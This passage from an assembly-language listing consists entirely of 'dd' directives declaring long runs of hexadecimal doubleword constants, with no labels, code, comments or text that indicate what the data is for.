0DBC69007h, 420004ACh, 5867899Eh, 0EBC2B85h dd 0BABD9934h, 0CFC66BE0h, 0B6182FDAh, 0C110DF6Ch, 548300A7h dd 77CD21B1h, 95008809h, 80E8BCB2h, 117A378h, 33DB3E97h dd 0C8C630C8h, 241C4ADEh, 0C4401284h, 0A53BEAEFh, 6D7B1E21h dd 0C66840DDh, 5C99036Fh, 75861D00h, 55F3DE78h, 9B890B32h dd 410051D2h, 0D8451681h, 0E22E8600h, 43273D6Fh, 0D69A00DBh dd 0B4F144B5h, 1600E978h, 5B7D5A39h, 242955F9h, 7BF32B3h dd 0F008F1C5h, 0E843E6AEh, 0E200FC77h, 78D1541Fh, 0E66F8EFh dd 552E9063h, 0FBD87BA0h, 0CD004350h, 0BC0C788Ah, 170605Ch dd 1FF4794Eh, 60E4C66Dh, 5607595Dh, 195AB0A8h, 2CFFAC90h dd 163800C2h, 1732919Bh, 5500605Eh, 0B92905BAh, 123B156Fh dd 0FFEC0B27h, 0ABF8B600h, 0F49553FAh, 0DE1A00E1h, 0E2BAC842h dd 0D64858B7h, 8D267884h, 9E300FB8h, 63422Ah, 82BF18A5h dd 14197C1Dh, 2EF13463h, 0ECAAD0EFh, 0F7F4004Ah, 20C9B917h dd 93017E1Eh, 903B89F2h, 0CCF0246Fh, 50A000B6h, 5AFD6360h dd 3107D585h, 71342BA4h, 0CB4EC7A1h, 0F5D3920h, 2933E97Bh dd 70199320h, 401676Eh, 53E4D130h, 0C7FCEEB1h, 8A3D00C2h dd 0C6948E79h, 0DAE4BA2Ch, 0B6CD081Eh, 454DF040h, 1F4119h dd 7F2E4E74h, 5283105Ah, 0E85CB101h, 0D1346379h, 29E956C8h dd 40E8372Ah, 0C91F88A6h, 6EFC3F00h, 0A8052009h, 0C8E40AFBh dd 4888450h, 0C3027753h, 7AC083F3h, 85006480h, 5DD9223Eh dd 0E835B742h, 1934052Ch, 43FEED5h, 41E831F4h, 557C9ADDh dd 0E0B8ADECh, 541D0066h, 0BAC928A1h, 4C3AD718h, 8E2D895Dh dd 92741Ch, 8A240B8Ch, 400308E7h, 808B5729h, 76180096h dd 0F953E0DEh, 5200370Fh, 35EAC66Ah, 719D1B12h, 0B0E200F5h dd 7EBFFE21h, 7800465Bh, 0C63FF018h, 988E2099h, 7277CFh dd 46CA1D7Fh, 6587D445h, 13784B00h, 4412343Eh, 9DF30063h dd 0B6094ACh, 380FC6E6h, 2021A8D8h, 1FF985EDh, 0FBB9001Eh dd 0F6992FFFh, 6E02A270h, 288865B1h, 223840E0h, 5C910021h dd 0A0126496h, 0DE3EF9EEh, 0EB53A5Dh, 0C1369049h, 6B40C228h dd 5651CCh, 8B5CEBF4h, 33184935h, 0BFFAC001h, 74D0F065h dd 2B5AB050h, 796CEA63h, 0D11F00A2h, 0B079664Bh, 0E40061C8h dd 0C2D9BBCCh, 0FDA819h, 2B2E2648h, 16093CC9h, 3D277300h dd 0A5CA6884h, 0AC0F00D5h, 5DE54018h, 7B00BE6Dh, 372C802h dd 28802BCDh, 0E89C71h, 0EF919A93h, 4DE1EDD4h, 6F05221Ch dd 0A1F46A8Eh, 6B62F9CFh, 3E61FF0h, 497934B2h, 58003EAFh dd 9289D3Bh, 0AEA70Ah, 9E56C937h, 9FFE830Ch, 989A7F0Bh dd 44E5001Dh, 0C0F23A52h, 6EC3F48Ch, 0A6752FDEh, 15E58500h dd 0EB4D69DBh, 7802644h, 0FCBA007Dh, 5EA8B5C5h, 85105201h dd 0E916975Dh, 0E98E7CCh, 133A3DB8h, 2F3F9082h, 1EABBCE0h dd 93870C03h dd 0D02820A3h, 4F31AAh, 8E0E4088h, 522516B1h, 53299000h dd 0F564990Ah, 0B3D126A1h, 0D3F40090h, 9A3AF33Bh, 0F08DFF00h dd 9CDDFBFEh, 0FC6C5FC4h, 7E23CAEh, 0F29D8E74h, 8BE60D30h dd 6816017Ah, 6975FA92h, 0CF6E30A7h, 0B797F200h, 35138D0Dh dd 942802DFh, 693CF7B0h, 73E9F887h, 80A46C87h, 6D1D4900h dd 0C0305401h, 9449868h, 75EF1887h, 16CE876Bh, 0BD62103Ch dd 601C8720h, 9782D0Eh, 7CB58B6Bh, 33F62420h, 58C07B76h dd 0BE5595F5h, 758C07EAh, 4C8D91E2h, 69004E29h, 0C78006D6h dd 7955BDDDh, 0F6DB3AE5h, 7A0EAB4h, 907CB8ACh, 47FD8CBAh dd 0F2050B74h, 36F7AE92h, 7BCD6444h, 546B2D20h, 1B1E907Fh dd 8E87B477h, 70C1BD4Ah, 7FA086h, 0C7C7A9Bh, 0BFEADB5Ch dd 0D6765E01h, 1C45CC92h, 0BA98E03Fh, 0EAD7F300h, 97D18BF5h dd 9FE8014Fh, 0AA138C7Ah, 5725FC8Ah, 15965B00h, 5258410Ch dd 302300FEh, 7801389Dh, 2A00E059h, 26A2BAE5h, 146EA6Dh dd 0C0B16632h, 0E7EEEB6Ch, 374176A0h, 0B3797D00h, 82D8C5BFh dd 0E9E11F80h, 27D3C0D0h, 0FB1CA5EEh, 0D767C000h, 177C9469h dd 18970063h, 5A101B86h, 24E1C18Fh, 8D00BE24h, 0C3A9FF7Fh dd 18526C8h, 0E1E55E4Dh, 0EC078CFAh, 7654EFE3h, 4C019BC4h dd 57E409FEh, 0E92130E7h, 0DE8A18BCh, 8CAC71E2h, 273159CFh dd 9E7258h, 13DF8FAFh, 1F4DEEB0h, 40C27962h, 734C9A3Ch dd 30CF9BBBh, 124CF446h, 0E5FC535Eh, 0E1008F48h, 519143FBh dd 0EC0101C2h, 67D0D8Fh, 48D6988Bh, 39BD3100h, 6D00C7F2h dd 7D86252Dh, 84FAC134h, 6A3E8060h, 87799h, 9278678Ah dd 3C70B062h, 0B6F64100h, 0F41540A8h, 8D10391h, 324C4DCAh dd 38554001h, 0DDE530DCh, 0CF50B20h, 81156853h, 81D90F1h dd 41403E93h, 22C4E04Fh, 92CB0A2Ch, 82293Ch, 0F7AFDA69h dd 0BE007783h, 6ADEBFC9h, 740EC084h, 0C48005Ch, 9108FEB8h dd 0CE006F44h, 1082E961h, 7E7A63h, 73660C6Ch, 76B1BDC7h dd 0B017DF1Dh, 20616B0Ch, 0D735009Fh, 0E591CAB5h, 443DCC9Dh dd 55BE8Fh, 3C28490Eh, 53BA0Ch, 0E2344373h, 3923ACD4h dd 72A35C1Fh, 8098638Eh, 0D2CCE965h, 3421070Fh, 9010A0D4h dd 11786B83h, 74BAA200h, 5D3922C8h, 0C7A1CEBh, 34414179h dd 0E07E7865h, 0B700E803h, 5899FA91h, 1150E2F4h, 6910D6h dd 64B7EC46h, 198DC61h, 9170390Bh, 0B69C88BAh, 4659D158h dd 0B73E034Bh, 40E9EFA7h, 88302C50h, 0B71CC9E8h, 300975Ah dd 47FF24Bh, 30951810h, 78DDA51h, 40CDD600h, 975056Ch dd 0AD18CF57h, 106442A4h, 80AF3FBCh, 6F417C36h, 25D18601h dd 88D83CD8h, 7AEFDA00h, 614EBFADh, 4505006Ah, 0EEB6E613h dd 8E00F8AEh, 0B01A5F3h, 72A1A6DEh, 4471CDh, 84829EE7h dd 0ADAA75B4h, 0E0279700h, 0B2BE450Dh, 0E3C100E5h, 0D33119B3h dd 1A3A8438h, 7A00FCD7h, 42C45CCBh, 0D56A62h, 81FAE3CCh dd 0F5ADF76Bh, 9A1FDBB0h, 44875749h, 0D0D0DE1Ch, 710B40Ch dd 0FC35B541h, 0EB26A2EDh, 9E5BD760h, 87CE5206h, 1D18EEF8h dd 5D29E0FEh, 0D9807DB6h, 977A8318h, 62007392h, 0CF1D2713h dd 0B1F37Eh, 6BD47491h, 8BF25FE5h, 4FCAAB00h, 0BC23A4ADh dd 0C440C018h, 0FB29ECBEh, 0AD0461D0h, 490180Fh, 922EE0FBh dd 0EA540314h, 0D3565D18h, 7E386F88h, 0A30ED00h, 70761229h dd 898C0032h, 52F85463h, 2D067591h, 0C85ECA3Eh, 74060051h dd 0E7C1CE34h, 0C700D2A2h, 0B554DF75h, 3ED6A0h, 99FF8ADCh dd 6A6BE7C0h, 9D1DEC14h, 8E08F020h, 40786B9h, 0A5326D81h dd 78884A16h, 78D749DBh, 89DA1501h, 0E159D537h, 0D910885Bh dd 6C144038h, 310009C8h, 9304D75Dh, 7136977h, 0C133522Ch dd 705CC02Eh, 0FE023467h, 0F589B20Ah, 16B6272h, 43DA1884h dd 0F15003DFh, 0A3667AA7h, 0EC088800h, 132289FAh, 6CBA010Ah dd 5D2DA7B4h, 0D4B450C1h, 85009E6Dh, 67300A16h, 310C3D8h dd 8D1AC156h, 611B32C8h, 3C88B7CDh, 0D74871B0h, 40A74865h dd 1F646620h, 0DC421A05h, 0B07736A7h, 0D022084h, 63039865h dd 6F1015A9h, 9304C0B6h, 0EB9746ACh, 41C0637Ch, 0E89A3872h dd 12289015h, 40304184h, 0BE6D5140h, 540761DCh, 587B683h dd 61590CE2h, 1887DEA6h, 202F3F4Bh, 977CE7C3h, 0A9720107h dd 208AC68Fh, 0AD29C440h, 0CE8111F6h, 997DF158h, 55075E01h dd 31060D4h, 0BC109804h, 5710381Ah, 0ED6182B4h, 4C8B1815h dd 0A7531E78h, 0C1047420h, 0B0B2AAFDh, 8387EF78h, 77150C8Bh dd 5FAF8011h, 13255EA0h, 5870B58Eh, 0E2049A3Fh, 34292740h dd 3057EE71h, 2CCA0240h, 3E3FFBB7h, 16856A11h, 0C405B0D4h dd 151DE228h, 0EAE1B080h, 0B62058E3h, 82DB0105h, 802A895Ah dd 32D42B7Fh, 0B0E38720h, 0F0603AF1h, 0C0A0ABCFh, 0BC3075A6h dd 0ECC1282Ah, 0E916247Dh, 41F102E0h, 4C60FC74h, 0EF1D0E67h dd 0B7C26E84h, 68FAE882h, 20757A58h, 733C6419h, 0C25713A4h dd 20FE100Ah, 0C3CC9660h, 6B4285A9h, 0F5041CA3h, 0B6446C6Fh dd 0A5437F7Ch, 0C302C889h, 209FB41Bh, 340ED187h, 15183942h dd 0D4B0A710h, 0B129320Eh, 4F588057h, 120A5C2h, 9C1A71ACh dd 0A3211FB5h, 0C09AAE0h, 860AFFBh, 0E470BFF7h, 802B5223h dd 0C08BB1h, 0F977AC79h, 261D7C64h, 60A83830h, 0C7D6673Ah dd 50F01021h, 0C89973AFh, 880404Ch, 0EE07D11Eh, 4C0BA3F9h dd 0DC157428h, 0E740D004h, 65055878h, 707BA73h, 251AEC11h dd 3B3C1324h, 3D804342h, 10A22467h, 0E7C1D123h, 50603ACBh dd 7C116ACDh, 9FF2EC7Fh, 64763F16h, 0F136B38Ah, 132C5480h dd 0FA41685Eh, 421032D2h, 0F947CBE5h, 0BB4B7E07h, 2A0D14BCh dd 985B427Ch, 21983A40h, 0D151D97Dh, 0EC041CE6h, 4245B15Dh dd 40A5657Ch, 0FFDBDE82h, 691415E4h, 1771B020h, 405C574Ch dd 0E730B58Fh, 7DFD6AC0h, 0B9948F5Ah, 9187B020h, 0A2A24237h dd 327020CDh, 0A30514B4h, 2A51F854h, 5220CD8h, 0AC955F04h dd 0DE6C84E2h, 0AA5B0B2Ch, 54C161Eh, 5280597Ah, 0FF206CC7h dd 0EC844CB1h, 0DA012D94h, 36421D06h, 3F5B0F48h, 60B528C7h dd 0E6857D48h, 0C5578607h, 2F814640h, 6EE0A0B2h, 0FF96034Eh dd 11DAF491h, 0D6173FB8h, 28BC40Dh, 200A18FDh, 0E7AF4310h dd 75FEE4A0h, 17988FC5h, 7C95E981h, 0F4900091h, 0B48020BDh dd 7500A19Bh, 9469E0DFh, 3B5E5BBh, 90F0D7FEh, 1BE0FB98h dd 511FBA0Ah, 0AD0F8D31h, 6BCC01D4h, 205989D8h, 234171FCh dd 0D8E2CE2Dh, 0B9081C6Ah, 54174B57h, 0C0AA8021h, 0C59A20Fh dd 94C8D547h, 4950558h, 0FC301352h, 43C87CD7h, 1FA081ACh dd 405E2F12h, 8020BC2Bh, 1A8193DBh, 0CE47132Dh, 0C179C4C8h dd 0FD65EDC0h, 80857F1Fh, 210F9723h, 40AF25FAh, 0B4F810h dd 8DAFC8C0h, 0F770B83Ch, 0BDB08F7Ah, 54CC7100h, 0B0ADF0E1h dd 9AF024h, 0D2FC28B3h, 8558F19Eh, 0FAE6E705h, 0A10AEEDEh dd 87DA20AFh, 208AE0D4h, 93FACD40h, 10112B35h, 6E46C240h dd 640C114h, 5E22FB05h, 20522940h, 0C09AF460h, 0C8AE474Dh dd 0FE25587Eh, 6A9B500Ah, 8AF16016h, 0F875010Bh, 0B3C8166Dh dd 784E880Ah, 0D12BEF7Ch, 5AC4202Bh, 0FE15DF3Ch, 0E1601CA7h dd 804EA906h, 0B1050879h, 76F9AD6Ch, 6A04A04Fh, 2A0D0489h dd 67208229h, 3C83F70h, 5E6E4454h, 0B7841900h, 0E6DCE0E8h dd 0D8703DB8h, 451D6381h dd 818C4D37h, 0D19FA338h, 5184846Ch, 4ECFB6AEh, 1D4B217Bh dd 28E05ECCh, 0AEBE1FD9h, 0B9B70080h, 6B63BC17h, 7127E704h dd 85212BF9h, 7EA0858Ch, 202750F7h, 653CAC44h, 1841CB40h dd 186401AEh, 16180921h, 0AF58E41Fh, 31796F65h, 15312E8Eh dd 9471F6h, 9A446721h, 39593Ah, 0AD5C9BCFh, 9692D030h dd 71E85D0Eh, 0FA38B829h, 0AD90C049h, 8D5A2019h, 5F88BC07h dd 0FB20F979h, 0D91C08h, 26C2A482h, 0C545B55Ch, 8A9C7700h dd 1DAD86A7h, 6587423h, 9D66D980h, 4418508Dh, 3B784512h dd 7D23751Ah, 17DB00BBh, 9284972Dh, 0E45290E6h, 335B01C8h dd 0BD192BD9h, 132006F3h, 688B3D10h, 3528E400h, 0E29D4801h dd 0FF8400DCh, 9946D0E3h, 4B1D1B6Fh, 3A8F5BB6h, 28F1209Fh dd 18D8ADAFh, 80539246h, 0F0A4D63Ch, 0B8045900h, 92E69929h dd 0D2A0002Eh, 1D0DE343h, 0EE00CE26h, 23E28107h, 0ADB878h dd 0AEBE7DFh, 8AA5C88Ch, 0BABF5E01h, 27873A8Eh, 4E41A450h dd 0C066500Dh, 9295E237h, 9E9D0A04h, 905FA4h, 2029FC0Bh dd 6C007B8Dh, 0AC2BDFB7h, 3E37C03Fh, 0A19BBA5Eh, 3102F0A0h dd 6939B3D9h, 15888F41h, 0C59903D4h, 38A7D438h, 82A89E28h dd 688002B4h, 0C201A809h, 45B05C43h, 20634387h, 0EBD12988h dd 70A00644h, 51242B58h, 6520B515h, 0D59218E8h, 91FFE68h dd 5D2F02A9h, 0B9E98800h, 0A1F875E2h, 0A81B9429h, 38550074h dd 92827F0Dh, 6330101Dh, 0EFDF80ACh, 18796F24h, 0BE862A02h dd 0C65EFC80h, 8B484D9Eh, 0C0DF30ACh, 0D7BC80h, 6C3431C7h dd 0B19C01D2h, 21A45B02h, 4018D1C1h, 52A1659Ch, 1100AC05h dd 7CCC07BDh, 0DA5599A8h, 0E21BCCA0h, 4858A90Fh, 61CE8C9Eh dd 0F08CA442h, 0DBE0A02Ah, 0A0A974F7h, 60F1B3CCh, 4E262847h dd 50A09C7Ah, 0C401049Fh, 0ED52F321h, 0A4D0EE95h, 3B10A1F7h dd 0D9CB7883h, 409D2A5Bh, 753C4BC8h, 6B7CD5CCh, 0D4553829h dd 0DF820C29h, 0A9271BD2h, 1470h, 0F9B9D73Ch, 1D242606h dd 0A788E601h, 0DE8ACD52h, 8097E7F0h, 3300A182h, 2DA0A453h dd 7A8508Bh, 80B8B776h, 0C87B10CCh, 0B30E126h, 0CB5130F9h dd 7E73142Ah, 176C81Dh, 53D38DC4h, 82471144h, 0D0873580h dd 217040B1h, 911570A9h, 70C70B24h, 621C0C80h, 397758FAh dd 0A6AD48C3h, 1091D401h, 0B850B6D6h, 1BAC670h, 45E76ECEh dd 22C7A5B3h, 350E00B4h, 9525C6C0h, 0C149AAAh, 710D4BC1h dd 0D34C02F1h, 24BD2650h, 6F966C80h, 4EDC680h, 385FDC85h dd 6A48D059h, 0EC045E55h, 0BE8523Fh, 43ABC4D2h, 0BC41ED4Ch dd 820E74F7h, 0B91830B1h, 0FA2608AEh, 0CBD8985h, 1846505Eh dd 1AC4061h, 9003220Fh, 63AD8099h, 4808C086h, 8D021210h dd 0E4FF7AA7h, 0F6708C81h, 406AF15Bh, 0D12A4D80h, 7D44F920h dd 713926DCh, 51AD01A0h, 0F57FC924h, 0CAAC41A7h, 50C41D9h dd 19381187h, 0B1B3B850h, 0A94982Dh, 741F86EBh, 999D04CCh dd 5E889032h, 6C65C7E8h, 0A406B818h, 7C1B367h, 0CB54D23Ah dd 28BD9590h, 21339E24h, 0E9B3182Bh, 0C8619BC3h, 6323A800h dd 0F3C88ACh, 869D0620h, 0F467C30h, 73D17B8Eh, 0A1CF74E0h dd 0B300F090h, 854B03F3h, 3FEE23Ah, 72E73775h, 7EF08233h dd 6F0105C5h, 0A06BA34Ch, 89E029EAh, 14FE0018h, 0D18522BBh dd 0FC0F0649h, 322D83h, 0BCF4D22Bh, 5724004Ah, 0EC5D0455h dd 3D78A1DBh, 3F0088F2h, 4586F9BDh, 7F15FCh, 0B022C6C8h dd 0F4FBCEDFh, 8BBE1900h, 69710577h, 0DA723FDDh, 3D1F00F8h dd 472E12C4h, 0E003434Bh, 6FB1C22Ah, 689DC06Eh, 0D62F0019h dd 761B7BBAh, 9A1E10F3h, 1D04D3A3h, 55C0D5FAh, 220DBF8h dd 375EF1DCh, 3C82B172h, 9230A469h, 11B542DCh, 0F98250C2h dd 2B106F75h, 0F2108CC0h, 7F9CD411h, 2E0CBBC4h, 0F0DD98E8h dd 0E18A0A1h, 0E8228805h, 21EA0830h, 14E3BE14h, 30795325h dd 4271A685h, 0B1B59018h, 0EDFC5320h, 0D5AE0E6Ch, 0F2C1A87Bh dd 4CB6C43Ah, 0AB218560h, 0B21F0859h, 6728D2C7h, 0C29C8A91h dd 518B00Bh, 0AA688CA5h, 8E459CDEh, 0C16DD870h, 0F7538456h dd 634A103Ch, 0D3E149C8h, 0C301B439h, 0F0ADF495h, 887C7700h dd 977E74C2h, 0D5060AA8h, 0E4F4C0CDh, 0BEAD3171h, 70218A18h dd 58B214F0h, 317611C5h, 18BCCFF4h, 14064326h, 843C9771h dd 893103CBh, 0C1D010A5h, 71283395h, 310832C1h, 45B0DEAFh dd 0A54302Dh, 4284AE85h, 147502C6h, 83DFD57Ah, 1006ACE8h dd 0C586D231h, 6C212B0Ah, 0C44DC3FDh, 0DA1879F5h, 0A5217343h dd 6241602Bh, 1841D5A9h, 151FD199h, 1530522Ah, 859C91D1h dd 8432EA13h, 938238A9h, 6C025386h, 0D899C914h, 626CDFCAh dd 811966FAh, 540FD85Ch, 46793CDFh, 62217BA4h, 0C2F211ADh dd 106E6CCDh, 218CB20Fh, 0DC8D7782h, 3C0768D6h, 11B1D052h dd 43061C95h, 2C561130h, 7A2FE203h, 41C529FEh, 95C20FFCh dd 3018D31Ch, 0DB61337Ch, 0D5228666h, 30FF64A2h, 0A4C950Bh dd 4D86E44h, 8B16FF4h, 67E68814h, 30D23D62h, 30A80AFFh dd 60A4A36Dh, 0D8A6BE7Ch, 31100647h, 7E8BC47Dh, 0C730E61h dd 15D2466Dh, 113C080Bh, 0DA89BFBDh, 9BAD4490h, 93605F00h dd 2E7DA9A8h, 277B0195h, 92F4F999h, 98A0B8ACh, 97206822h dd 53DD24F3h, 59033EDFh, 28AFBFDEh, 0E0EDC03Ch, 89D505B0h dd 7DAC2446h, 4F510CC0h, 7853AFD8h, 119C0F24h, 0F25A0423h dd 0C868CE32h, 0A4336005h, 0E23C4845h, 0D50C8272h, 5D588490h dd 7C155642h, 0F9D07463h, 0F3184594h, 0E428A01Eh, 50634D25h dd 9D741862h, 27244E00h, 0A00F008Fh, 98A4E597h, 0D52CBB95h dd 86868815h, 596BC1h, 0A2965F38h, 0F92CE1A1h, 894BA52h dd 588BA345h, 1E62CE48h, 0BA62E0h, 0C16F0B2Dh, 7480BE60h dd 31F3469Fh, 5A10A1DEh, 2D84500Eh, 0B7EEF19Bh, 8CE4FE50h dd 91509374h, 390F2CB0h, 58F34410h, 3AF4A998h, 2B004623h dd 3E2CA12Dh, 88C1E89Dh, 6E097C3Ch, 6C05C020h, 0BA18F9FEh dd 0FC425F29h, 2C72988h, 8D109569h, 42229F01h, 29816035h dd 0EB80897h, 0DCD425CFh, 7800965Ah, 8B154B48h, 54422888h dd 47987Ah, 0DE455C4Dh, 0FB053196h, 0E1CAD0B8h, 0F7016892h dd 0B441930Eh, 0D3875184h, 0C22C4553h, 5EF76005h, 0EC343C03h dd 81ACE2F5h, 61C527BCh, 61A426E0h, 294B1186h, 0FC90508Fh dd 0B900AE10h, 5293B5D4h, 2EDD56D9h, 0F939D2Ah, 9E063Dh dd 0BBDAC9B6h, 5903CC2Ch, 0E22FE909h, 3B110045h, 73355C70h dd 0B0076EFh, 53A5AC93h, 432CF0h, 233CFD2Eh, 110FDFB5h dd 73079CB0h, 351E0245h, 34DB42F0h, 93A103E0h, 0E8448994h dd 2970C0A8h, 57615214h, 7E8C0848h, 80258022h, 435D7150h dd 48F2F603h, 14D81ADEh, 0C58B168h, 345FFE0Eh, 0FB862A03h dd 370976C0h, 5AA15818h, 556F5B20h, 0C5E118B2h, 716E0h dd 0A090939Dh, 8C73C3E8h, 0B4B14806h, 18E09810h, 0C023A237h dd 65188D6Fh, 0DEF159E3h, 0A81F60B6h, 0FE817151h, 32F2F500h dd 0BF6F8E17h, 7A14A058h, 89B0C539h, 0C8141876h, 0DF80E486h dd 6F2F16C6h, 1AB601F0h, 0D4763DFDh, 0C05298Eh, 0E6F40B3Fh dd 252A9C01h, 9086220Eh, 19140A80h, 0F0D02950h, 0F734CE06h dd 7810198Dh, 6CF40367h, 9BBF0983h, 574E805h, 0C802318Ah dd 0E5480Bh, 20D1AD72h, 0DE8158DDh, 0FD1913A8h, 7D2DA440h dd 0D5A8C0E6h, 573A948Fh dd 0C62E3401h, 9C5A180Ah, 58DB5885h, 7448033Bh, 5114D235h dd 83A8DAE4h, 0C1E84FFCh, 9080A6B0h, 1FFD0DEh, 0C0C3CB8Fh dd 0E06A8BE9h, 6AE4198h, 9E252C1Dh, 0E40C70BAh, 4813C4B2h dd 74CC0272h, 6E4C32E9h, 4005B48Fh, 0AC2C00DBh, 768D577Ah dd 20541433h, 0ADE4D191h, 14BB1F3Bh, 357CB8F8h, 241BFEFh dd 422FB578h, 0F15224A0h, 2A0ADE4Fh, 488A19D1h, 1CC2DC40h dd 580A01Dh, 878C007Bh, 1BF87F6Ah, 67001964h, 8B7CED82h dd 0F980080Ah, 18E390DCh, 282BB61Eh, 0F33F07D4h, 7E30951Dh dd 9AF90008h, 0CD14B462h, 9C5300D7h, 724B635Ah, 0D0748004h dd 0EB510565h, 0CDB827C0h, 0EEE5187Fh, 4A9859B2h, 0F5DFE000h dd 845DF6E1h, 71670C6Dh, 0FF698040h, 2D6F1E03h, 1D50EBEh dd 16220510h, 80730401h, 0ED62C868h, 30FB6711h, 0FF387DA6h dd 411E8D35h, 0B0FF5C66h, 0EB867162h, 1558E41Dh, 34720DDEh dd 26615100h, 0C253B9FCh, 93FE9107h, 70B04F6Eh, 0E2E21005h dd 5E8600CFh, 857BB5F6h, 0A4A8E69Eh, 94002CD4h, 0FD05C1F5h dd 0A0B3BDCCh, 0AFDF88h, 4788EA8h, 83C20DDAh, 0DB5A1F00h dd 0FF6C2ACDh, 4728C0CCh, 7170F94Ah, 1EE20C1Bh, 3FB100D9h dd 0C6E863F6h, 0CD00DAFBh, 5FDE25Ch, 6514802Bh, 203480CEh dd 4C9B8220h, 0EA6069F0h, 0F53078E8h, 56410F07h, 0D0B5D85Bh dd 5054FE00h, 16409E5Ch, 7460BDF8h, 0E1C88118h, 96530637h dd 7950A933h, 79C6018h, 5384921h, 827B9D4Fh, 9D805F8h dd 6CD0030Dh, 5BC0739Eh, 578C20Bh, 69104565h, 471EB45Eh dd 0F5A9DE06h, 282A7811h, 6218334Ah, 0F2592032h, 4A72F120h dd 0C3B0ABA3h, 0EB501998h, 949211F6h, 6309130h, 1B4A71D1h dd 0C75D3021h, 7D273AF1h, 9A608CE2h, 4556F8C8h, 0C8342860h dd 5B7C38A8h, 31CA6398h, 0B07BF33h, 4F783A5Dh, 7AF28730h dd 77C50C6Ch, 97614551h, 7D5FA500h, 1D8AEF79h, 36D6002Eh dd 200DFF0Eh, 17B0AE3h, 7CF6CD09h, 0F894209Fh, 498B7A2Ah dd 0CA05B812h, 0E64550h, 0CC9522B4h, 7E034BD2h, 0C03783C1h dd 8950E0DCh, 98EA00D8h, 0B31AC25Eh, 68F6C50Bh, 2EDE512h dd 614E1841h, 58200D04h, 0EC38507Ch, 1E7940B7h, 7A1FEF01h dd 0DBA87840h, 6BA0CE4h, 0EC87F5A6h, 990018B6h, 0A432D62h dd 0CC4F6E2h, 0EF7DFF11h, 4406FB1h, 0B4A749C3h, 20614C12h dd 9427FD34h, 66FC620Ch, 48CE410Fh, 0B322C03Fh, 14E32C24h dd 8E41FD80h, 15BA24CBh, 24F94F59h, 7EC79600h, 0F84A2638h dd 78787530h, 723F1FDFh, 60D1F06Dh, 0FDF74947h, 0F1124D15h dd 800377F4h, 90469725h, 12D03BECh, 53E789E6h, 791909C8h dd 0C5F142Fh, 8719178Bh, 0EF25A20h, 465BF25h, 606C1E83h dd 0A314B97Ch, 78648E4Ch, 8FC0835h, 0EA971400h, 778350Fh dd 6498A46Bh, 837A54D1h, 590F3E8Ch, 0D761F6Ch, 0E16FB922h dd 4372E19Ah, 30117E10h, 0A433F76Bh, 3100D520h, 963BA25h dd 4D787Eh, 0F252FFBBh, 0C306D8B5h, 82006090h, 604186CEh dd 24E3E26Eh, 8074E480h, 797E0895h, 7A14D9E5h, 60C3B8Ch dd 0D5968188h, 0C4090938h, 6C012E8Fh, 892B35B5h, 4483918h dd 5D4904B8h, 6E78BC90h, 0E60C2EF0h, 202D7BEDh, 29DF632Fh dd 0A2B028D6h, 0AD15B892h, 45C904Ch, 0A9631642h, 7324B491h dd 0DE5CBC20h, 0B5BD0F59h, 1008810Ah, 0B8EC2AF7h, 10C64FF0h dd 40217888h, 9C403AFCh, 8470995h, 0AC05BA0Ah, 0C53C92C4h dd 0EBFA20C8h, 72AAF261h, 7C60EAE5h, 2B02094Dh, 0A007B2F6h dd 60006918h, 7EB31F82h, 4F078C90h, 0CD2D7F5Eh, 0B89C9683h dd 4954E5A7h, 787F08C0h, 0E8F01489h, 6900802Ch, 0D0F5798Ah dd 0D80BC425h, 206750EEh, 532CE0ACh, 94D11DFCh, 0E1CC095Bh dd 0FA224420h, 0EF282B25h, 0D805E0C6h, 0C9F62AD9h, 20816449h dd 77ABF740h, 72CF18DAh, 0A079C8EBh, 7D6DECA8h, 174DC172h dd 2D540030h, 84CCEE2Ah, 840B515Fh, 0A7C9E1F0h, 0EB870278h dd 24620A2Ch, 40F4F04Bh, 0DE77AAE7h, 7408A028h, 9ABEF071h dd 685D2AE0h, 0EF1D07CCh, 85282F9Eh, 4E944E5Eh, 19C0FBAFh dd 0B5F1F0FFh, 7A04FE59h, 46D3F905h, 4490B160h, 605FB78h dd 67F38D53h, 9702712Ah, 5D33158Fh, 0F698604Ch, 46F7C6Ch dd 0EBEE53D8h, 0C4A4D1B2h, 35F2E1FBh, 10D81A38h, 58002D30h dd 4D7CE610h, 0F230C2CEh, 0C4DCA8EAh, 0A7E22419h, 1DF60784h dd 0DA2000E9h, 0A028114Ch, 0AC909002h, 14CBA32Ch, 0DC200516h dd 646011Ah, 65C16308h, 0C4001087h, 3D4B459Dh, 1D54C8Ch dd 5F66BDFDh, 0F09E7E47h, 62001531h, 55FBC140h, 7232ABD7h dd 16400A1h, 56683373h, 0EF009D70h, 524DC044h, 0D69EC6h dd 6BBF32AAh, 89A1B293h, 27495500h, 7FEE8E9h, 7E2C1E72h dd 0C97A9D33h, 0C8804D1Eh, 0FF524EBFh, 0F1271607h, 11CCBE15h dd 0C9EE11D1h, 18ED4CC7h, 1148CF5Fh, 46F803CBh, 97F9492Fh dd 2DA09BE8h, 0BFFFEE00h, 8DC444ACh, 20546614h, 360C4043h dd 0D881C745h, 77D9283Bh, 0A9E18080h, 9748A885h, 0E2C68047h dd 7190CC30h, 0CE5F4B1Bh, 0B500BF50h, 0E8D43D0Dh, 0E1A74F07h dd 3801DDCh, 59F6E3h, 1C3E68AAh, 72DBB9D5h, 0C4454B14h dd 26704058h, 19F12A03h, 0B064CF10h, 0C017D8C1h, 78E94DC0h dd 9060D4FDh, 72E8D211h, 804A1C63h, 0C040F79Fh, 9DC64560h dd 6A42D0Fh, 0C0982A1Eh, 0E8EF9503h, 1E00039h, 0EE3CADBh dd 80F77202h, 0C17C1151h, 0A7F1823h, 7EEEC477h, 0C6033A4Ch dd 4F0CE82Ah, 0D53F1000h, 0CED0D93Eh, 0F80154CCh, 68D4F1A6h dd 96AD269Fh, 592D0514h, 0D7A400E9h, 97146320h, 0C9C3C0F9h dd 21CD448h, 0C176A14Bh, 0F748FD7h, 0E6F3022Ch, 0E0948EDCh dd 0AF60CEC6h, 48A70181h, 0DD65E722h, 3C47D032h, 726620E3h dd 0C2E6A606h, 1949F1C9h, 0B117E76Ah, 0FE49E44Eh, 691E517Ch dd 7580A4D5h, 6D2CC528h, 0E71B07DDh, 303FAD32h, 9C7ED8E8h dd 0A6C64F00h, 9BCDA8A3h, 58ED6184h, 0E19A50A1h, 0D308427Ch dd 0B4021B39h, 1AA5325h, 0FA685C8Eh, 699440C1h, 3C067BB6h dd 0EC612531h, 95DCE328h, 0A13D03BBh, 0AC9C0DEh, 0D7CBC906h dd 3F51A4A0h, 9C8C1A88h, 2610F704h, 3B4D19C2h, 18C4A331h dd 